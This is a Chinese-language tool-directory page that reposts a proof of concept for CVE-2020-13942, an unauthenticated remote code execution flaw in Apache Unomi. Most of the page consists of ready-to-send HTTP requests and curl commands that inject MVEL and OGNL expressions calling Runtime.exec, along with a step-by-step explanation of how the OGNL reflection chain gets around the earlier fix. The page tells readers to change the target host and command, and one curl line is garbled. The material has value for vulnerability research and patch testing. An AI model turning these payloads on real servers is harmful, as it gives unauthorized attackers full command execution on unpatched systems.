Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-13942 — CVE-2020-13942 未认证的远程代码执行概念验证(POC)通过MVEL和OGNL注入 | Kitploit
工具/GitHubGitHub/eugenebmx/cve-2020-13942
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubeugenebmx/cve-2020-13942

CVE-2020-13942

CVE-2020-13942 未认证的远程代码执行概念验证(POC)通过MVEL和OGNL注入

查看仓库
2895年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-13942

CVE-2020-13942 POC,作者 Eugene Rojavski

关于该漏洞的原始博客文章: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

存在两个 RCE 向量:通过 MVEL 注入和通过 OGNL 注入。这两个向量针对不同的代码,但载荷看起来相对相似。 之前的 CVE 修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制 OGNL 表达式的执行,但完全遗漏了 MVEL。CVE-2020-13942 绕过了 1.5.1 版本中修复的问题。

使用 BurpSuite 或 curl 将以下 HTTP 请求发送到 Unomi 服务器暴露的 context.js\json,可获得 RCE。请根据目标 URL 和操作系统命令修改 Host 和 Content-length。 两个 POC 都可能收到 HTTP/1.1 400 Header Folding 响应,这意味着载荷中的 \r\n 被打乱了,请尝试再次复制粘贴。

1) MVEL POC

HTTP 请求

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

Curl

root@kitploit:~
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) OGNL POC

OGNL POC 绕过了 1.5.1 版本引入的 ClassLoader 限制。利用 Java 反射 API,可以在不触发限制 OGNL 表达式的 ClassLoader.loadClass 方法的情况下创建对象。

载荷 OGNL 表达式分解:

  1. 第一个表达式 #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") 创建一个 java.lang.Runtime 类对象,其中 #this 是上下文对象的引用。
  2. 第二个表达式 #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] 通过反射获取 Runtime 类的方法列表,并从列表中选择 getRuntime 方法。表达式中的 {^ #this.name.equals(\"getRuntime\")} 部分查找名为 getRuntime 的方法,并返回符合条件的方法列表;该列表的第一个且唯一的方法是 getRuntime。
  3. 第三个表达式 #runtimeobject = #runtimemethod.invoke(null,null) 调用 getRuntime() 方法并获取 Runtime 对象。
  4. 第四个表达式 (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) 获取 Runtime 类的方法,并从方法列表中检索带单个 String 参数的 Runtime.exec()。
  5. 最后一个表达式 #execmethod.invoke(#runtimeobject,\"gnome-calculator\") 使用指定参数调用 Runtime.exec()。

HTTP 请求

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

Curl

root@kitploit:~
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

免责声明

本页提供的所有信息仅供教育目的。本网站上的信息仅应用于增强您计算机系统的安全性,不得用于造成恶意或破坏性攻击。

您不应滥用此信息来获得对计算机系统的未授权访问。请注意,在未经所有者书面许可的情况下,对不属于您的计算机进行黑客攻击是违法的。

对于因使用本网站提供的信息而造成的任何直接或间接损害,我不承担任何责任。

下载工具